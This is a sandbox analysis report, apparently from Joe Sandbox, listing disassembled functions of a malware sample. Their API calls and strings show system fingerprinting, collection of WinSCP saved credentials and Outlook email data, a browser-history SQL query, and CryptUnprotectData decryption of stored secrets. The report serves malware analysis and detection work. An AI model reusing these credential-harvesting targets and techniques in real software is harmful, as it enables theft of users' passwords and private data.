Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumInfoMetricsOpen$CreateFirstFreeInformationLocaleProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 441461025-943277980
Opcode ID: 98dee303eb0a02b075d06b4305ddd7e6e2251ef1b4c9c9bc19e8ba4959754855
Instruction ID: 915cc31ebaf767ee9912e0c916b5d60c1651ad94c460c6a34579714c0f7d2b16
Opcode Fuzzy Hash: 98dee303eb0a02b075d06b4305ddd7e6e2251ef1b4c9c9bc19e8ba4959754855
Instruction Fuzzy Hash: 9A814E70A44209AFCB01FFA1CC42BCDBF7AAF49309F60407BB104B65D6D67D9A468B19

Function 00417290 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 201
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32(00000000), ref: 004173D7
GetSystemMetrics.USER32(00000001), ref: 004173EE

Part of subcall function 00416FB8: GetLocaleInfoA.KERNEL32(?,00000059,?,00000100,?,-00000001,0041B0FC,?,?,00417429,Layouts: ,?,00417604,?,00000001,00417654), ref: 00417015

Part of subcall function 00417098: GetTimeZoneInformation.KERNEL32(?,00000000,00417170,?,-00000001,0041B0FC,?,?,0041746F,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8), ref: 004170D6

Part of subcall function 00416748: GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Sleep.KERNEL32(00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ,?,004175A8,?,Layouts: ,?), ref: 004174A3

Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,,?,?,), ref: 00416C04
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C0A
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2,?,00000001,), ref: 00416C32
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00416C38
Part of subcall function 00416B94: LoadLibraryA.KERNEL32(00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC,?,?,004174B2), ref: 00416C77
Part of subcall function 00416B94: GetProcAddress.KERNEL32(00000000,00000000), ref: 00416C7D
Part of subcall function 00416B94: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,00416ECA,?,-00000001,0041B0FC), ref: 00416C90
Part of subcall function 00416B94: Process32FirstW.KERNEL32(00000000,0000022C), ref: 00416CAF

Sleep.KERNEL32(00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ,?,004175A8,?,LocalTime: ), ref: 004174CD
Sleep.KERNEL32(00000001,004175A8,[Soft],?,00000001,004175A8,004175A8,?,?,00000001,,?,?,,?,Zone: ), ref: 004174EC

Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A69E,00000000,00416452,?,-00000001,0041B0FC,?,00000000,00000000,?,004174F9,00000001), ref: 00415F8D
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 00416115
Part of subcall function 00415F30: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A69E,0041A69E,00000001,?,000003E9,),?,?,00000000,00416528,?,?), ref: 00416150
Part of subcall function 00415F30: RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 004162D8

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

MachineID : , xrefs: 004172B0
EXE_PATH : , xrefs: 004172D3
Zone: , xrefs: 00417462
[Soft], xrefs: 004174D4
Windows : , xrefs: 004172F8
LocalTime: , xrefs: 0041743F
, xrefs: 004172E5, 00417472, 00417490
Screen: , xrefs: 004173BD
Layouts: , xrefs: 0041741C
Computer(Username) : , xrefs: 00417364

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProcSleepSystem$EnumInfoMetricsOpen$CreateFirstFreeInformationLocaleProcess32SnapshotStringTimeToolhelp32Zone
String ID: $Computer(Username) : $EXE_PATH : $Layouts: $LocalTime: $MachineID : $Screen: $Windows : $Zone: $[Soft]
API String ID: 441461025-943277980
Opcode ID: c695cf2f64643f6a8b9bdd899a899abbc7edb470dd547c53306ff2a9d56b2676
Instruction ID: 9ad36b54795493928cf4d7680a901020c7452f2e53798e9be21810986d7bb062
Opcode Fuzzy Hash: c695cf2f64643f6a8b9bdd899a899abbc7edb470dd547c53306ff2a9d56b2676
Instruction Fuzzy Hash: A2714E30A44109ABCF01FFD1CC42FCDBBBAAF48309F60407BB104B65D6D67DAA468A19

Function 00415F30 Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 305
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,0041A69E,00000000,00416452,?,-00000001,0041B0FC,?,00000000,00000000,?,004174F9,00000001), ref: 00415F8D
RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 00416115
RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,0041A69E,0041A69E,00000001,?,000003E9,),?,?,00000000,00416528,?,?), ref: 00416150
RegEnumKeyA.ADVAPI32(0041A69E,00000000,?,000003E9), ref: 004162D8

Part of subcall function 00407500: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Part of subcall function 00407500: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407582

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

(), xrefs: 00416304
RGlzcGxheU5hbWU=, xrefs: 00415FB9, 0041617C
RGlzcGxheVZlcnNpb24=, xrefs: 0041605A, 0041621D
, xrefs: 0041633A
), xrefs: 004160E7, 004162AA
U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==, xrefs: 00415FE8, 00416089, 004161AB, 0041624C
U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs, xrefs: 00415F72, 00416135

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Open$EnumFreeString$QueryValue
String ID: $()$)$RGlzcGxheU5hbWU=$RGlzcGxheVZlcnNpb24=$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs$U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxsXA==
API String ID: 811798878-3013244427
Opcode ID: 0a802d6b2b28f8a3cec4c5b369de7d2647960f4ce8c56f56f322f6ceca72c3d5
Instruction ID: 33798bc805095534a257e2f05040e6cfe59ff7211d39a9aa4329e2c1f04a858c
Opcode Fuzzy Hash: 0a802d6b2b28f8a3cec4c5b369de7d2647960f4ce8c56f56f322f6ceca72c3d5
Instruction Fuzzy Hash: 34C124B1A001189BD710EB55CC81BCEB7BDAF44309F5145FBA608B7286DA38AF858F5D

Function 0040C61C Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 189registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000001,00000000,?,00000000,0040C917,?,0041B0FC,00000000,0000010A,00000000,00000000,?,0040D838,00000000,0040D863), ref: 0040C662

Part of subcall function 00407500: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Part of subcall function 00407500: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407582

Strings

WinSCP, xrefs: 0040C886
HostName, xrefs: 0040C6AA
PortNumber, xrefs: 0040C6FA
Software\Martin Prikryl\WinSCP 2\Sessions\, xrefs: 0040C63F
word, xrefs: 0040C760
UserName, xrefs: 0040C741
Pass, xrefs: 0040C753

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Open$QueryValue
String ID: HostName$Pass$PortNumber$Software\Martin Prikryl\WinSCP 2\Sessions\$UserName$WinSCP$word
API String ID: 2123561561-2322492109
Opcode ID: 2549a3845886fb1d73b90281738a441e75dfd7ec2147bef4fc19a8b7e40004cd
Instruction ID: 5d9faefb47a508b6b932707abb8d3e63a2159bc82d2b43fde2965f92b9b3847f
Opcode Fuzzy Hash: 2549a3845886fb1d73b90281738a441e75dfd7ec2147bef4fc19a8b7e40004cd
Instruction Fuzzy Hash: 5781DA74A0011D9BDB10EB55C881BDEB3FDFF48309F1081BAA548B7295DA34AF458F99

Function 004129A4 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004129E8
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412CA8,?,.tmp,?,?,00000000,00412BE7,?,00000000,00412C71,?,00000000), ref: 00412A64
DeleteFileW.KERNEL32(00000000), ref: 00412C05

Strings

SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000, xrefs: 00412ACE
, xrefs: 00412B98
%TEMP%, xrefs: 00412A23
.tmp, xrefs: 00412A03

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp$SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000
API String ID: 2381671008-351388873
Opcode ID: a0f1519e3ec6d5c3275253d7917b25b2ff1fc43a267470fe0e5d0ef804df6be1
Instruction ID: 01415e14dcc46a11cfd4ad831b9185370b0be0c5393ee3a374a7f2b0250afb3b
Opcode Fuzzy Hash: a0f1519e3ec6d5c3275253d7917b25b2ff1fc43a267470fe0e5d0ef804df6be1
Instruction Fuzzy Hash: 05810C31A00109AFDB00EF95DD82ADEBBB9EF48315F204436F514F7292DB78AE558B58

Function 00416740 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 116COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 0041678C
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 004167A8
CPU Count: , xrefs: 004167EF
Video Info, xrefs: 00416856
GetRAM: , xrefs: 00416833
CPU Model: , xrefs: 0041677E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: 5132eeb7f806ffcce6600860813d658f9c141ea878eb7d5a298b8541f7ce37a4
Instruction ID: ec5783c0b7ca42e81122729fbed3a1ddf4b85dfc6774dd9c704540b43fb157b1
Opcode Fuzzy Hash: 5132eeb7f806ffcce6600860813d658f9c141ea878eb7d5a298b8541f7ce37a4
Instruction Fuzzy Hash: 64411270A1010D9BDB01FFD1D882ADDBBB9EF48309F51403BF504B7296D639EA458B59

Function 00416744 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(0041A13A,00000000,004168D4,?,?,00000000,00000000,?,0041748D,?,,?,Zone: ,?,004175A8,?), ref: 0041676C

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Part of subcall function 00403B98: SysFreeString.OLEAUT32(?), ref: 00403BAB

Strings

UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 0041678C
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 004167A8
CPU Count: , xrefs: 004167EF
Video Info, xrefs: 00416856
GetRAM: , xrefs: 00416833
CPU Model: , xrefs: 0041677E

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: 4c721573790b637321503a34bf9f9130f875e835aa05bc4e5c44d90894d68e0a
Instruction ID: 93658ecaa3e0ddcdd5b33a88495a7f5ee5c1cb8a97fdfd99440d65a07410f67b
Opcode Fuzzy Hash: 4c721573790b637321503a34bf9f9130f875e835aa05bc4e5c44d90894d68e0a
Instruction Fuzzy Hash: DF411F70A1010DABDB01FFD1D882ACDBBB9EF48309F61403BF504B7296D639EA458A58

Function 00407168 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004040F4: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 00404102

GetFileAttributesW.KERNEL32(00000000,00000000,00000000,00407293,?,?), ref: 004071B4
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,?,?), ref: 004071CA
GetFileAttributesW.KERNEL32(00000000,00000000,?,?), ref: 004071DF
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,?,?), ref: 004071F5
ReadFile.KERNEL32(000000FF,004147A5,?,LLA,00000000,00000000,00407263,?,?,?), ref: 00407246
CloseHandle.KERNEL32(000000FF,0040726A), ref: 00407260

Strings

LLA, xrefs: 0040722F, 00407232

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$AttributesCreate$AllocCloseHandleReadString
String ID: LLA
API String ID: 2383866247-3688291513
Opcode ID: 75eb9d9cc74f66bbc11c0e4bff8767fcc953f0eb9a1eeebabd35c08362e6773b
Instruction ID: 15f3138c5d2d0105ebd27124ca223b3e8d37c88ea2c7106052068400f28ec596
Opcode Fuzzy Hash: 75eb9d9cc74f66bbc11c0e4bff8767fcc953f0eb9a1eeebabd35c08362e6773b
Instruction Fuzzy Hash: 5F31D970A04208AFD711DFA9DC92FAEB7F8EB49710F504076F514F72A0D734AE048A59

Function 0040DF68 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 302fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0040E390,?,.tmp,?,?,?,00000000,0040E35A,?,00000000,0041B0FC,00000000), ref: 0040E03A
DeleteFileW.KERNEL32(00000000), ref: 0040E2EB

Strings

FALSE, xrefs: 0040E0EE, 0040E164
.tmp, xrefs: 0040DFD2
TRUE, xrefs: 0040E10F, 0040E173
%TEMP%, xrefs: 0040DFF2

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$CopyDelete
String ID: %TEMP%$.tmp$FALSE$TRUE
API String ID: 2687465029-1436660622
Opcode ID: 33647d4d224b8c5f59920f1096abe8a1ae35cfc54d585c628ab515ae6ed88c7f
Instruction ID: 9eec13ea81017a906658717753421b902ffb3c5d9b22bc8a3cae965063de9ff1
Opcode Fuzzy Hash: 33647d4d224b8c5f59920f1096abe8a1ae35cfc54d585c628ab515ae6ed88c7f
Instruction Fuzzy Hash: A4C10B31A001089FCB10EBA5DC82EDEBBB9EF48304F504576F514F72A2DB79AE158B58

Function 00410E70 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 239fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410EB4
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30
DeleteFileW.KERNEL32(00000000), ref: 004110EC

Strings

%TEMP%, xrefs: 00410EEF
, xrefs: 00411078
.tmp, xrefs: 00410ECF

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp
API String ID: 2381671008-2792595090
Opcode ID: 32d0327383ddd05e7ab9a5b9fc2d1afb36bd7ceee94382e9dc617731c4127971
Instruction ID: ef1d9ef4a41f0d536355ae74e23377fcfc6b42a5aa152db35adc264ec6821d93
Opcode Fuzzy Hash: 32d0327383ddd05e7ab9a5b9fc2d1afb36bd7ceee94382e9dc617731c4127971
Instruction Fuzzy Hash: 55910B31A40109AFDB00EB95DC82EDEBBB9EF48315F104436F514F72A2DB78AE458B58

Function 00416584 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx,00000000,0041660E,?,0041B0FC,?), ref: 004165AB
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004165B1
GlobalMemoryStatusEx.KERNEL32(00000040,00000000,kernel32.dll,GlobalMemoryStatusEx,00000000,0041660E,?,0041B0FC,?), ref: 004165D2

Part of subcall function 00403B80: SysFreeString.OLEAUT32(00000000), ref: 00403B8E

Strings

GlobalMemoryStatusEx, xrefs: 004165A1
kernel32.dll, xrefs: 004165A6
@, xrefs: 004165C7

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressFreeGlobalLibraryLoadMemoryProcStatusString
String ID: @$GlobalMemoryStatusEx$kernel32.dll
API String ID: 420089832-3878206809
Opcode ID: 8e854a2ba74b1c5241b7f672217e8f5dde30ec227ceeb4d776eac7be45f0136a
Instruction ID: ae4c68d41a3a4174a937c26ab83d8f0c6d254553f6270358502c1b43c0ddce29
Opcode Fuzzy Hash: 8e854a2ba74b1c5241b7f672217e8f5dde30ec227ceeb4d776eac7be45f0136a
Instruction Fuzzy Hash: A3018871A002086BD711EBA5DC42E8EB7BDEB88744F61413AF504B32D1E77CAD01855C

Function 00401934 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0041C5B4,00000000,00401A0A), ref: 00401961
LocalFree.KERNEL32(00000000,00000000,00401A0A), ref: 00401973
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,00401A0A), ref: 00401992
LocalFree.KERNEL32(00000000,00000000,00000000,00008000,00000000,00000000,00401A0A), ref: 004019D1
RtlLeaveCriticalSection.KERNEL32(0041C5B4,00401A11,00000000,00000000,00401A0A), ref: 004019FA
RtlDeleteCriticalSection.KERNEL32(0041C5B4,00401A11,00000000,00000000,00401A0A), ref: 00401A04

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: a533093bf643e2750fc0c7fb6ce1a8cee2193e72f340cc35e9b9a59fd34ff9a9
Instruction ID: f5b3729ab89c308c15893b8da70c4d7314be5901088e834fcff69d5c90a64892
Opcode Fuzzy Hash: a533093bf643e2750fc0c7fb6ce1a8cee2193e72f340cc35e9b9a59fd34ff9a9
Instruction Fuzzy Hash: F11193B17843907ED715AB669CD1B927B969745708F50807BF100BA2F1C73DA840CF5D

Function 00410BB8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410BFD
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00410E58,?,.tmp,?,?,00000000,00410DA0,?,00000000,00410E20,?,00000000), ref: 00410C79
DeleteFileW.KERNEL32(00000000), ref: 00410DBE

Strings

%TEMP%, xrefs: 00410C38
.tmp, xrefs: 00410C18

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: %TEMP%$.tmp
API String ID: 2381671008-3650661790
Opcode ID: 18f1548f43119d9877afe2b6bb4a7c8c40774a53e6135c019c754983df4bfe24
Instruction ID: 978216aeb9802c3a8092c63d781cd7ad87e87d7acf88f4e3b280f19958954086
Opcode Fuzzy Hash: 18f1548f43119d9877afe2b6bb4a7c8c40774a53e6135c019c754983df4bfe24
Instruction Fuzzy Hash: 7C710C71A00109AFDB00EBD5DC42ADEBBB9EF48318F50447AF514F7292DA78AE458A58

Function 0040B4F0 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 474registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000001,00000000,?,00000000,0040BC91,?,00000000,0041B0FC,00000000,00000000,00000000,?,0040BDCD,00000000,0040BE3B), ref: 0040B5CE

Part of subcall function 00407500: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 004075A9

Part of subcall function 00407500: RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407582

Strings

Email, xrefs: 0040B74F, 0040B88A
://, xrefs: 0040BB3E
Outlook, xrefs: 0040BB86

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Open$QueryValue
String ID: ://$Email$Outlook
API String ID: 2123561561-3514658839
Opcode ID: 1b91c70bddef8855b1c57f48077b17458388f3819d2c8f6e2dca049ebc445301
Instruction ID: e1c3844307c2052eba75b247cc482dfae18de03193ffd78a417120a12b23954d
Opcode Fuzzy Hash: 1b91c70bddef8855b1c57f48077b17458388f3819d2c8f6e2dca049ebc445301
Instruction Fuzzy Hash: F4120E34A40159ABDB10EB55CC81FDEB7B9EF44304F1040BAB548B72D5DBB8AE858F98

Function 004095A4 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00409890,?,.tmp,?,?,?,00000000,00000000,00000000,?,?,00409A1F), ref: 00409676

Part of subcall function 004094C4: CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000001,?), ref: 004094E5
Part of subcall function 004094C4: LocalFree.KERNEL32(?), ref: 0040950A

DeleteFileW.KERNEL32(00000000), ref: 004097FB

Strings

%TEMP%, xrefs: 0040962E
.tmp, xrefs: 0040960E

Memory Dump Source

